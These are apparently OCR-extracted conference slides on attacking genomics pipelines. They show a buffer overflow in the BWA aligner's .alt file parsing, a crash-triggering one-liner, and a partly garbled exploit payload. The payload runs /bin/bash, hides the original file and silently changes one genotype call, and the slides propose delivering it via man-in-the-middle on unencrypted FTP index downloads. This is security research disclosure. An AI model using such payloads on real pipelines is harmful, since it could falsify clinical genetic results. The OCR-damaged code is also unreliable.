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What is a Genome’s value? NHGR! Data (2019)

Cost per Genome
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What issues has this growth created?

Change in trust model

) i Raw SNPs + Indels [
Raw Unmapped Reads p— Analysis-Ready Reads : 7

: H Filter Variants
Map to Reference H Call variants Per-Sample 5

: HaplotypeCaller in GVCF mode E Refine Genotypes
Raw Mapped Reads : H

ARPANET (1971)

MAP 4 September 1971

Mark Duplicates : ' Analysis-Ready [

Recalibrate Base H Consolidate GVCFs s

Need for standardization = § | ==
& automation

Analysis-Ready Reads

RawSNPs+{ndels | | ——
BROAD Institute Best-Practices Pipeline




Growth Drivers:

Healthcare and Genomics
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Growth Drivers:

Industry, SynBio & Genomics
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Instrument List (exerpy)

Sequencer Syringe Pumps Microscopes
Mass Centrifuges Scales
Spectrometer Incubators Freezers / Fridges
Gas/Liquid Electrophoresis Flow Cytometers
Chromatographer Gel Imagers Digital Pathology
Blood Gas Microarray High Content Imagers
Analyzer Blood Culture Thermocyclers
Bioreactor Robotic Liquid Handlers

Filtration Machine Electroporators

Cell Counter 4_/
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Genomics Data: A Primer
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Hacking the Raw Data
to Change a Clinical Outcome
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Software Pipeline
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First tool in the pipeline - BWA

BWA takes FASTQ files as input and maps these to a reference genome, creating a SAM file

2. In 2014, BWA developers added the ALT-aware capacity — which allowed users to map reads
to a population, rather than canonical single reference

3. Since the population is always changing and requires up-to-date knowledge, the reference is
hosted at a central repository

4. BWA provides a tool — bwa.kit, which accesses this data from the US National Center for

Biotechnology Information (NCBI), which has provided resources for the storage and delivery
of these files as a tarred and gzipped directory of indices:

5. The user then unzips and stores the indices provided by NCBI

6. A .altfile is used to index the genome and make it alt-aware 4_/



BWA and the Outside World
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A Native BWA Vulnerability

bntseq_t *bns_restore( char prefix)

{
char ann_filename[1824], amb_filename[1024], pac_filename[10824], alt_filename[1824];
FILE xfp;
bntseq_t =*bns;

streat(strcpy(ann_filename, prefix), ".ann");
streat(strcpy(amb_filename, prefix}, ".amb"};
streat(strepy({pac_filename, prefix}, ".pac"});
bns = bns_restore_core(ann_filename, amb_filename, pac_filename);
(bns = @) 9;
((fp = fopen({strcat(strcpy(alt_filename, prefix}, ".alt"}, "r"}) != @) {

o < e b

int €, i, absent:

khint_t k;

h = kh_init(str);
(i = 8; i < bns—>n_seqs; ++i) {
k = kh_put(str, h, bns->anns[i].name, &absent);
kh_val(h, k) = ij

H
i=9;
((e = fgetc(fp)) != EOF) {
(c="t' || c="\n" || c ="\r'} {
strli]l = 8;

(strle]l i= '@'}) {
k = kh_get(str, h, str);
(k != kh_end(h))
bns—»anns [kh_vallh, k)l.is_alt = 1;
}
(e != "wn' && ¢ != EOF) ¢ = fgetc(fp);

i=0; If a .alt file has a line >1024 bytes

} strli++] = c;
} 0 .
i et rovintetinic h it will overflow here

fclose(fp);

bns;



Overflowing the buffer

root@end4:~/bwa32_new# python -c "print 'A' * 5200" > lambda_wvirus.fa.alt
root@endd:~/bwa32_new# ./bwa mem lambda_wvirus.fa simulated_data_reads.fqg
Segmentation fault




Crafting an exploit

After the data are mapped — turn a single A at a particular position in
the genome into a C.

Limits —
No other data in the genome can be harmed (can’t turn all
A’s to C’s)
Must change raw data (make it invisible)



How to target the position - PCR trick

Running Polymerase Chain Reaction (PCR) requires primers

If you wish to find a particular nucleotide in the genome, you need
primers up and downstream of the nucleotide of interest

Chose A at position 64,544,989 on chromosome 12
Random choice (not clinically meaningful)

7/ base pairs upstream and 9 base pairs downstream are sufficient

to be unique



Database indices are delivered
unencrypted over FTP

® @ [ Index of /genomes/all/GCA/00" X +

1 GCA_000001405.15_GRCh3 8_full_plus_hs38d1_analysis_set.fna.bwa_index.tar.gz
| GCA_000001405.15_GRCh3 8_full_plus_hs38d1_analysis_set.fna.fai

GCA_000001405.15_GRCh38_full_plus_hs38d1_analysis_set.fna.gz

| GCA_000001405.15_GRCh38_no_alt_analysis_set.fna.bowtie_index.tar.gz
1 GCA_000001405.15_GRCh3 8_no_alt_analysis_set.fna.bwa_index.tar.gz

GCA_000001405.15_GRCh38_no_alt_analysis_set.fna.fai
GCA_000001405.15_GRCh38_no_alt_analysis_set.fna.gz
GCA_000001405.15_GRCh38_no_alt_plus_hs38d1_analysis_set.fna.bowtie_index.tar.gz

| GCA_000001405.15_GRCh38_no_alt_plus_hs38d1_analysis_set.fna.bwa_index.tar.gz
| GCA_000001405.15_GRCh38_no_alt_plus_hs38d1_analysis_set.fna.fai

1 GCA_000001405.15_GRCh3 8_no_alt_plus_hs38d1_analysis_set.fna.gz

| README _analysis_sets.txt

| unmasked_cognates_of_masked_CEN_PAR .txt

FTP ® Not Secure | ftp://ftp.ncbi.nim.nih.gov/genomes/all/GCA/000/001/405/GCA_000001405.15_GRCh38/segs_fc
Protocol
[
Index of /genomes/all/GCA/000/001/405/GCA_000001405.15_G
¥ [parent directory]
No
Name Date Modified
checksums | GCA_000001405.15_GRCh38_full_analysis_set.fna bowtie_index tar.gz 11/18/14, 4:00:00 PM
t oV al | d at e | GCA_000001405.15_GRCh38_full_analysis_set.fna.bwa_index.tar.gz 1/27/15, 4:00:00 PM
GCA_000001405.15_GRCh38_full_analysis_set.fna fai 11/17/14, 4:00:00 PM
d ata | GCA_000001405.15_GRCh38_full_analysis_set.fna.gz 1/10/14, 4:00:00 PM
| GCA_000001405.15_GRCh38_full_analysis_set.refseq_annotation.gff.gz 11/14/14, 4:00:00 PM
transfer | GCA_000001405.15_GRCh38_full_plus_hs38d1_analysis_set.fna.bowtie_index.tar.gz 1/27/15, 4:00:00 PM

1/27/15, 4:00:00 PM
1/22/15, 4:00:00 PM
1/21/15, 4:00:00 PM
11/18/14, 4:00:00 PM
6/30/14, 5:00:00 PM
11/17/14, 4:00:00 PM
1/10/14, 4:00:00 PM
2/18/16, 4:00:00 PM
2/18/16,4:00:00 PM
2/17/16, 4:00:00 PM
2/16/16, 4:00:00 PM
11/16/17, 4:00:00 PM
11/15/17, 4:00:00 PM




Modeling the delivery
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Full exploit delivered with over MitM

python -c "print '@' + 'A'*1500 + 'B'*1500 +
'C'*1500 + 'D'*419 +
'/bln/baSh -C \“@f\;a EL

'al.Valk. AC C'TA 7~ / ( CAACCCTAATCCN [ -
[ = A (B A AN z‘ / y A\ ( Al L AW A ( ff |/ ~o
{ «(:;f'gé’f&?‘\\_‘f_’? £ e IL:;« = w )“ —:‘A* '—LY —M‘ ﬁ" F o ql} '\ JET% E}L H Q =] ‘:Tk = -H‘J & ta L \IJ @gﬁﬂ)}”&i\ / \ 2’}”

¢ -

w@fq%ﬁf ; mv hlddenAltOrlg
"GCA 000001405.15 GRCh38 full analysis set.f
na.alt",cat ~/.bash_hlstory | grep '"bwa mem"
| tail -n 1 | /bin/bash >

GCA 000001405.15 GRCh38 full analysis set.fn

a.alt B __/_d/



Aftermath - Finish analysis
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Statistics of the Output file

Without the exploit:
Genotype AA at chromosome 12 position
64544989

With exploit:
Genotype AC at chromosome 12 position
64544989 (P<10-29)

4_/



